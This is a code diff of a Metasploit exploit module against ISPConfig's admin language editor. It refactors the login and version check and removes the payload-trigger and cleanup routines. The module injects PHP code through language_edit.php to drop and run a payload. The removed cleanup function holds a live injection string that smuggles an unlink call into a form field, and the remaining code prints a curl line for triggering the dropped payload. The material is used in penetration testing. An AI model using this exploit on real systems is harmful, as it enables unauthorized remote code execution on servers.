@@ -8,7 +8,6 @@ class MetasploitModule < Msf::Exploit::Remote
8
8
9
9
prepend Msf ::Exploit ::Remote ::AutoCheck
10
10
include Msf ::Exploit ::Remote ::HttpClient
11
- include Msf ::Exploit ::FileDropper
12
11
13
12
def initialize ( info = { } )
14
13
super (
@@ -70,53 +69,46 @@ def initialize(info = {})
70
69
OptString . new ( 'USERNAME' , [ true , 'ISPConfig administrator username' ] ) ,
71
70
OptString . new ( 'PASSWORD' , [ true , 'ISPConfig administrator password' ] )
72
71
] )
73
-
74
- @authenticated = false
75
72
end
76
73
77
74
def check
78
75
print_status ( 'Checking if the target is ISPConfig...' )
76
+ # Always try to log in and parse version, since credentials are required
77
+ # Clear any existing cookies before login
78
+ cookie_jar . clear
79
79
80
- # Try to log in and parse version if credentials are provided
81
- if datastore [ 'USERNAME' ] && datastore [ 'PASSWORD' ]
82
- # Clear any existing cookies before login
83
- cookie_jar . clear
84
-
85
- login_res = send_request_cgi! ( {
86
- 'method' => 'POST' ,
87
- 'uri' => normalize_uri ( target_uri . path , 'login/' ) ,
88
- 'vars_post' => {
89
- 'username' => datastore [ 'USERNAME' ] ,
90
- 'password' => datastore [ 'PASSWORD' ] ,
91
- 's_mod' => 'login'
92
- } ,
80
+ login_res = send_request_cgi! ( {
81
+ 'method' => 'POST' ,
82
+ 'uri' => normalize_uri ( target_uri . path , 'login/' ) ,
83
+ 'vars_post' => {
84
+ 'username' => datastore [ 'USERNAME' ] ,
85
+ 'password' => datastore [ 'PASSWORD' ] ,
86
+ 's_mod' => 'login'
87
+ } ,
88
+ 'keep_cookies' => true
89
+ } )
90
+ if login_res && ( login_res . headers [ 'Location' ] &.include? ( 'admin' ) || login_res . body . downcase . include? ( 'dashboard' ) )
91
+ # Try to access the dashboard or settings page
92
+ settings_res = send_request_cgi ( {
93
+ 'method' => 'GET' ,
94
+ 'uri' => normalize_uri ( target_uri . path , 'help' , 'version.php' ) ,
93
95
'keep_cookies' => true
94
96
} )
95
- if login_res && ( login_res . headers [ 'Location' ] &.include? ( 'admin' ) || login_res . body . downcase . include? ( 'dashboard' ) )
96
- # Try to access the dashboard or settings page
97
- settings_res = send_request_cgi ( {
98
- 'method' => 'GET' ,
99
- 'uri' => normalize_uri ( target_uri . path , 'help' , 'version.php' ) ,
100
- 'keep_cookies' => true
101
- } )
102
- if settings_res
103
- doc = settings_res . get_html_document
104
- # Try to find version in a span, div, or similar element
105
- version_element = doc . at ( '//p[@class="frmTextHead"]' )
106
- if version_element
107
- version_text = version_element . text
108
- version = version_text . split ( ":" ) [ 1 ] . gsub ( " " , "" )
109
- version = Rex ::Version . new ( version )
110
- if version < Rex ::Version . new ( '3.2.11p1' )
111
- print_good ( "ISPConfig version detected: #{ version_text } " )
112
- @authenticated = true
113
- return CheckCode ::Vulnerable ( "Version: #{ version_text } " )
114
- end
97
+ if settings_res
98
+ doc = settings_res . get_html_document
99
+ # Try to find version in a span, div, or similar element
100
+ version_element = doc . at ( '//p[@class="frmTextHead"]' )
101
+ if version_element
102
+ version_text = version_element . text
103
+ version = version_text . split ( ":" ) [ 1 ] . gsub ( " " , "" )
104
+ version = Rex ::Version . new ( version )
105
+ if version < Rex ::Version . new ( '3.2.11p1' )
106
+ print_good ( "ISPConfig version detected: #{ version_text } " )
107
+ return CheckCode ::Vulnerable ( "Version: #{ version_text } " )
115
108
end
116
109
end
117
110
end
118
111
end
119
-
120
112
CheckCode ::Safe
121
113
end
122
114
@@ -162,10 +154,10 @@ def check_langedit_permission
162
154
'keep_cookies' => true
163
155
} )
164
156
165
- if res && res . code == 200 && res . body . include? ( 'language_edit' )
157
+ if res & .code == 200 && res . body . include? ( 'language_edit' )
166
158
print_good ( 'Language editor is accessible - admin_allow_langedit appears to be enabled' )
167
159
return true
168
- elsif res && res . code == 403
160
+ elsif res & .code == 403
169
161
print_warning ( 'Language editor access denied - admin_allow_langedit may be disabled' )
170
162
return false
171
163
else
@@ -269,66 +261,9 @@ def inject_payload
269
261
return payload_url
270
262
end
271
263
272
- def trigger_payload ( payload_url )
273
- print_status ( 'Triggering PHP payload...' )
274
- # Small delay to ensure the file is written
275
- sleep ( 1 )
276
- res = send_request_cgi ( {
277
- 'method' => 'GET' ,
278
- 'uri' => payload_url ,
279
- 'keep_cookies' => true
280
- } )
281
- if res &.code == 200
282
- print_good ( 'PHP payload triggered successfully' )
283
- else
284
- print_warning ( 'Payload trigger response was unexpected' )
285
- end
286
- end
287
-
288
- def cleanup
289
- return unless @payload_file
290
- print_status ( 'Cleaning up payload file...' )
291
- # Use the same vulnerability to delete the file
292
- injection = "'];unlink('#{ @payload_file } ');die;#"
293
- lang_file = Rex ::Text . rand_text_alpha_lower ( 10 ) + ".lng"
294
- edit_url = normalize_uri ( target_uri . path , 'admin' , 'language_edit.php' )
295
- initial_data = {
296
- 'lang' => 'en' ,
297
- 'module' => 'help' ,
298
- 'lang_file' => lang_file
299
- }
300
- res = send_request_cgi ( {
301
- 'method' => 'POST' ,
302
- 'uri' => edit_url ,
303
- 'vars_post' => initial_data ,
304
- 'keep_cookies' => true
305
- } )
306
- return unless res
307
- doc = res . get_html_document
308
- csrf_id = doc . at ( 'input[name="_csrf_id"]' ) &.[]( 'value' )
309
- csrf_key = doc . at ( 'input[name="_csrf_key"]' ) &.[]( 'value' )
310
- return unless csrf_id && csrf_key
311
- injection_data = {
312
- 'lang' => 'en' ,
313
- 'module' => 'help' ,
314
- 'lang_file' => lang_file ,
315
- '_csrf_id' => csrf_id ,
316
- '_csrf_key' => csrf_key ,
317
- 'records[\\]' => injection
318
- }
319
- send_request_cgi ( {
320
- 'method' => 'POST' ,
321
- 'uri' => edit_url ,
322
- 'vars_post' => injection_data ,
323
- 'keep_cookies' => true
324
- } )
325
- print_good ( "Payload file #{ @payload_file } cleaned up" )
326
- end
327
-
328
264
def exploit
329
- unless @authenticated
330
- authenticate
331
- @authenticated = true
265
+ unless authenticate
266
+ fail_with ( Failure ::NoAccess , 'Login failed' )
332
267
end
333
268
334
269
# Check if language editor permissions are enabled
@@ -349,7 +284,6 @@ def exploit
349
284
350
285
payload_url = inject_payload
351
286
print_status ( 'Starting payload handler...' )
352
- trigger_payload ( payload_url )
353
287
print_status ( 'Manual trigger information:' )
354
288
print_line ( "URL: #{ full_uri } #{ payload_url } " )
355
289
print_line ( "Manual trigger: curl '#{ full_uri } #{ payload_url } '" )
0 commit comments